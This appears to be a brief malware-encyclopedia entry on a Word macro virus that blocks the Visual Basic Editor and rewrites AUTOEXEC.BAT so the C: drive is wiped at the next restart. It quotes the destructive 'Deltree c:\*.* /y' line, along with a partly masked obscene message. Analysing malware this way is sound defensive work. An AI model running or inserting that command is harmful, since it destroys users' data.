Technical Details


When a user opens Visual Basic Editor of Word Application the virus exits it and replaces the file C:\AUTOEXEC.BAT with the following:

Deltree c:\*.* /y"
"echo Fu** you...."

On that way the virus tries to erase all the contents of the C:\ drive, next time when the system is restarted.
